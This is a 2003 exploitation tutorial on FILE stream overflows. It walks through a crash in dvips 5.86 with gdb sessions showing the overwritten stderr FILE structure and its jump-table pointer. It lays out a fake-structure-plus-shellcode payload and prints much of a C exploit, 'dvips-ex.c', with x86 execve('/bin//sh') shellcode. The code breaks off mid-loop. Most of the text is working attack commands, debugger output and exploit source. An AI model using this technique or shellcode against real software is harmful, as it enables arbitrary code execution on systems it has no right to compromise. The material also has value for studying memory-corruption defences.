File Stream Overflows Paper. Author : killah Date : 31-01-2003 Sections: 1. Introduction 2. Analysis of example vulnerability (dvips) 3. Theory behind the exploit. 4. The exploit. 5. Conclusions 1. Introduction ---------------- Although FILE Stream overflows are as ancient as buffer overflows, i never seen a paper about them. I guess that is because, FILE Stream overflows are not so commonly met in the real-life as typical buffer overflows. This paper is about how to get to abuse these types of overflows, so as to get them execute arbitary code. So, here i will use an example FILE Stream overflow that i found in dvips & odvips non-security critical applications, so as to demonstrate you the way to come around to those types of overflows. Here won't be any sample vuln.c & exploit-vuln.c source and that's because FILE Stream Overflows, can occur by many different combinations of incorrect/insecure programming. I hope that the bug analysis, the basic theory and the sample exploit which is included here, will help you enough so as to understand the whole concept. 2. Analysis of example FILE Stream overflow vulnerability found in dvips application -------------------------------------------- bash-2.05a$ dvips `perl -e 'print "A" x 2024'` This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com) dvips: ! DVI file can't be opened. Segmentation fault (core dumped) bash-2.05a$ cat ./gdb.sh #!/bin/sh gdb /usr/share/texmf/bin/dvips core bash-2.05a$ ./gdb.sh GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)... Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libm.so.6...done. Loaded symbols for /lib/libm.so.6 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270 270 vfprintf.c: No such file or directory. in vfprintf.c (gdb) bt #0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270 #1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n") at fprintf.c:32 #2 0x0805337f in error () #3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31 #4 0x0804dd25 in error () #5 0x0804f522 in error () #6 0x4005617d in __libc_start_main (main=0x804e0f4 , argc=2, ubp_av=0xbffff104, init=0x8048e98, fini=0x80668a8 , rtld_fini=0x4000a534 <_dl_fini>, stack_end=0xbffff0fc) at ../sysdeps/generic/libc-start.c:129 Using the backtrace we can see that all frames existing in the core file, are known functions, and EIP never got overwritten. But, let's see what registers say in frame 0. (gdb) info reg eax 0x41414141 1094795585 <- EAX got overwritten with out input ecx 0x41414141 1094795585 <- same thing here for ECX edx 0x8069822 134649890 <- format=0x8069822 ebx 0x4015ae58 1075162712 esp 0xbfffe8c8 0xbfffe8c8 ebp 0xbfffeed0 0xbfffeed0 esi 0x8068c01 134646785 edi 0x8069822 134649890 <- format here too. eip 0x400889d4 0x400889d4 It seems that the EBP/EIP registers are not overwritten with our input so we have to find a way of tricking them thinking that they're pointing to a valid location. So, what we have here is a FILE Stream overflow since s=0x41414141 got overwritten with our input. That means that if we had overwritten File stream with a valid FILE stream address, we would had achived to get some more info, and validate the condition, but let's see. (gdb) x/a stdout 0x40158200 <_IO_2_1_stdout_>: 0xfbad2084 The address of the stdout file stream is : 0x40158200, but it would be a pain cause of the nulls, so let's look at the stderr address. (gdb) x/a stderr 0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 that's fine we're gonna use this one since no nulls existing in stderr's stream address. Let's test it out. bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40" x 2024' This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com) dvips: ! DVI file can't be opened. userdict /end-hook known{end-hook}if SafetyEnclosure restore what a surprise, no segmentation fault and different output, so it really worked, without even having to align stderr's FILE Stream addresses. So, how will we get advantage of this situation in order to execute arbitary code !? In these cases the best solution is to follow the execution flaw of the application, and see where you can abuse it. Hmm, so let's crash the dvips again and have a look at the stderr's FILE Stream structure. bash-2.05a$ dvips `perl -e 'print "A" x 2024'` This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com) dvips: ! DVI file can't be opened. Segmentation fault (core dumped) bash-2.05a$ ./gdb.sh GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)... Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libm.so.6...done. Loaded symbols for /lib/libm.so.6 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270 270 vfprintf.c: No such file or directory. in vfprintf.c (gdb) x/40x stderr 0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 0x401583c7 0x401583c7 0x401583c7 0x40158390 <_IO_2_1_stderr_+16>: 0x401583c7 0x401583c7 0x401583c7 0x401583c7 0x401583a0 <_IO_2_1_stderr_+32>: 0x401583c8 0x00000000 0x00000000 0x00000000 0x401583b0 <_IO_2_1_stderr_+48>: 0x00000000 0x40158200 0x00000002 0x00000000 0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0a000000 0x40158298 0xffffffff 0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x00000000 0x401582c0 0xffffffff 0x401583e0 <_IO_2_1_stderr_+96>: 0x00000000 0x00000000 0x00000000 0x00000000 0x401583f0 <_IO_2_1_stderr_+112>: 0x00000000 0x00000000 0x00000000 0x00000000 0x40158400 <_IO_2_1_stderr_+128>: 0x00000000 0x00000000 0x00000000 0x00000000 0x40158410 <_IO_2_1_stderr_+144>: 0x00000000 0x40157f20 0x40158380 0x00000000 Nice, now we can see the structure and can get her lenght for later use. (gdb) p /d (0x40158420 - 0x40158380) $1 = 160 But let's see the really important part now, are there(inside the structure) any jump addresses ? So let's have a look... (gdb) x/40a stderr* 0x40158380 <_IO_2_1_stderr_>: 0xfbad2086 0x0 0x0 0x0 0x40158390 <_IO_2_1_stderr_+16>: 0x0 0x0 0x0 0x0 0x401583a0 <_IO_2_1_stderr_+32>: 0x0 0x0 0x0 0x0 0x401583b0 <_IO_2_1_stderr_+48>: 0x0 0x40158200 <_IO_2_1_stdout_> 0x2 0x0 0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0 0x40158298 <_IO_stdfile_2_lock> 0xffffffff 0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x0 0x401582c0 <_IO_wide_data_2> 0x0 0x401583e0 <_IO_2_1_stderr_+96>: 0x0 0x0 0x0 0x0 0x401583f0 <_IO_2_1_stderr_+112>: 0x0 0x0 0x0 0x0 0x40158400 <_IO_2_1_stderr_+128>: 0x0 0x0 0x0 0x0 0x40158410 <_IO_2_1_stderr_+144>: 0x0 0x40157f20 <_IO_file_jumps> 0x40158380 <_IO_2_1_stderr_> BINGO! Can you see the _IO_file_jumps ? this is a pointer to a function. (do you know what does this really mean ? :)) 3. Theory ---------- So, here's the plan, we have to create a fake FILE Stream structure with 160 bytes in size filled with the addresses (of the jumptable) that will point to the shellcode that we want to execute. So, our user input buffer should look like this : this is the theory behind most FILE Stream overflows met in real life conditions. ............ [1] { Fake FILE Stream Structure } (Fake file stream structure is to be filled with the addresses, of the fake jumptable which point to the shellcode.) specs: Size of the Fake FILE Stream Structure : 160Bytes. Been filled with the Addresses pointing to location [2]. [2] { Fake jumptable } (Is to be filled with the addresses, of where our shellcode is. *since EIP is getting tricked in this step we make it point to the shellcode location.) [3] { Shellcode } (Simple x86 linux execve assembly code of "/bin//sh" ) [0] { Addresses of the Fake FILE Stream Structure } (In order to overwrite the File Stream, and make it point to our fake FILE Stream Structure.) ............... As you can see this theory doesn't differ much from common buffer overflow exploits. It's just uses 2 steps more for tricking the application thinking it uses a valid FILE Stream, and finaly get EIP register tricked in step [2] and make it point to the shellcode. Now, based to this theory let's try to construct the exploit so as to demonstrate that it can be really done. 4. The exploit --------------- Here is the sample FILE Stream overflow exploit, that affects dvips & odvips aplications. NOTE: this exploit could be much more robust and independent, but the purpose here is just to show the simple and straight forward way of doing it. NOTE: this process is taking place under Slackware Linux 8.1, so if you're making the test under different distribution or even OS, there you should tweak some things by yourself, but basicly that's all. just look on the code, it should be very easy to understand. -----------------------------dvips-ex.c------------------------------ /* * FILE Stream overflow exploit for * This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com) * -------------------------------------------------------------------------- * * "As always exploitation should be an art..." * version 0.3 much more automated. * * (c) 2k3 killah @ hack . gr */ #include #include #include #define VERSION "0.3" #define SIZE 3048 char shellcode[]= /* linux x86 execve of "/bin//sh" */ "\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main(int argc,char *argv[]) { char buffer[4000]; int align,offset,pad,i; long ffss_addr=0xbfffeecc, jmpaddr, shaddr; if(argc!=4) { fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n" "Usage : %s \n" "\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]); exit(-1); } align=atoi(argv[1]); offset=atoi(argv[2]); pad=atoi(argv[3]); ffss_addr += offset; // fake FILE Stream Structure Address jmpaddr = (ffss_addr+160); // 40 times shaddr = (jmpaddr+32); // 8 times fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n" " Jump-Table Address\t\t : [0x%x]\n" " Shellcode Address\t\t : [0x%x]\n" " align = [%d] | offset = [%d] | pading = [%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad); /* align the buffer */ for(i=0; i All rights reserved.